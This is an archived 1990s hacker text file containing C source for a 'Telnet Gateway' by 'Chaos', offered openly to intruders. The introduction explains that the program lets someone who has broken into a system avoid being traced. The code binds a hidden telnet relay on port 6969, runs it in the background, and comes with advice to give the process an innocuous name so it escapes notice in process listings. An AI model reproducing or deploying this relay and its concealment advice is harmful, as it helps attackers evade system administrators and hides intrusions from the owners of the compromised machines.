home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / tlnthide.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  153 lines

  1.  
  2.    (--------------------------------------------------------)
  3.  
  4.                          Telnet Gateway
  5.                             by Chaos
  6.  
  7.    (--------------------------------------------------------)
  8.  
  9.      Ever worry about some egotistical sysadmin getting pissed off
  10. when you hack his system, and having him trace it back to your
  11. local system?  If you are like most hackers, even if you are
  12. careful and telnet through another system first, it is still fairly
  13. easy to trace back through.  Using the following program bellow you
  14. can make it a real bitch for anyone to find where you are coming
  15. from, let alone what account.  This program, which has only been
  16. tested on Sun OS, will allocate a port and set up a telnet gateway.
  17. Because this program only allocates a socket, in order for someone
  18. to trace it back to you, the sysadmin of the system it is set up on
  19. would have to monitor the socket and see where the connection is
  20. coming from, which is not very likely, the sysadmin already has
  21. plenty to do.  This is setup currently to port 6969 and will run in
  22. the background.  Be sure to call it something that will not gather
  23. any suspicion from anyone running ps -aux.  This will also write to
  24. the file log, the date and time anyone uses the telnet gateway.
  25. Have phun!
  26.  
  27. Thanks go out to al- for the original source code.
  28.  
  29. --------------------cut here--------------------
  30. #include <sys/fcntl.h>
  31. #include <stdio.h>
  32. #include <ctype.h>
  33. #include <sys/wait.h>
  34. #include <stdlib.h>
  35. #include <sys/types.h>
  36. #include <sys/ioctl.h>
  37. #include <sys/errno.h>
  38. #include <sys/types.h>
  39. #include <sys/socket.h>
  40. #include <netinet/in.h>
  41. #include <signal.h>
  42.  
  43.  
  44. FILE *errfd;
  45.  
  46. static int serfd;
  47. struct sockaddr_in   addr;
  48. char buffer[10][80];
  49. int sockused[10];
  50. int numports = 10;
  51. int numproc=0;
  52.  
  53. died()
  54. {
  55.   numproc--;
  56.   wait3(NULL,WNOHANG,NULL);
  57.   signal(SIGCLD,died);
  58.   return;
  59. }
  60.  
  61. init_io()
  62. {
  63.  
  64.   signal(SIGCLD,died);
  65.  
  66.   if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
  67.     return(1);
  68.  
  69.  
  70.   addr.sin_family = AF_INET;
  71.   addr.sin_addr.s_addr = INADDR_ANY;
  72.   addr.sin_port = 6969;
  73.  
  74.  
  75.   if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
  76.   {
  77.     fprintf(errfd,"ioinit  cannot bind socket\n");
  78.     exit(1);
  79.   }
  80.  
  81.   if (listen(serfd,5) == -1)
  82.   {
  83.     fprintf(errfd,"ioinit  cannot listen at socket\n");
  84.     return(1);
  85.   }
  86.  
  87.   return(0);
  88. }
  89.  
  90.  
  91. getconnect()
  92. {
  93.   int s,length;
  94.   struct sockaddr_in address;
  95.  
  96.   while(1)
  97.   {
  98.     length= sizeof addr;
  99.     while ((s= accept(serfd,&address,&length))<0);
  100.     wait3(NULL,WNOHANG,NULL);
  101.     if (fork() == 0) /* child */
  102.     {
  103.         system("date >>log");
  104.         numproc++;
  105.         dup2(s,0);
  106.         dup2(s,1);
  107.         dup2(s,2);
  108.         close(s);
  109.         system("exec telnet");
  110.         kill(getpid(),SIGKILL);
  111.  
  112.         close(0);
  113.         close(1);
  114.         close(2);
  115.         exit;
  116.     }                /* end child */
  117.  
  118.     close(s);
  119.     wait3(NULL,WNOHANG,NULL);
  120.   }
  121. }
  122.  
  123.  
  124.  
  125.  
  126. main()
  127. {
  128.   int i;
  129.   char temp[80],*term;
  130.   int fd;
  131.  
  132.   for(i=0;i<36;i++) close(i);
  133.  
  134.  
  135.  
  136.   errfd=fopen("ERR","w");
  137.   if(errfd==NULL) return(-1);
  138.   setsid();
  139.   if(fork()!=0) return(-1);
  140.   init_io();
  141.   getconnect();
  142. }
  143. --------------------cut here--------------------
  144.  
  145.  
  146.  
  147. -------------------------------------------------------------------------
  148. This file was ripped from The 416 Phreaks Accumulated Collection Archive.
  149.  
  150.    File Number: 0087
  151.    Category: Hacking/Programs
  152.    Archive: 1.00 (May 1995)
  153.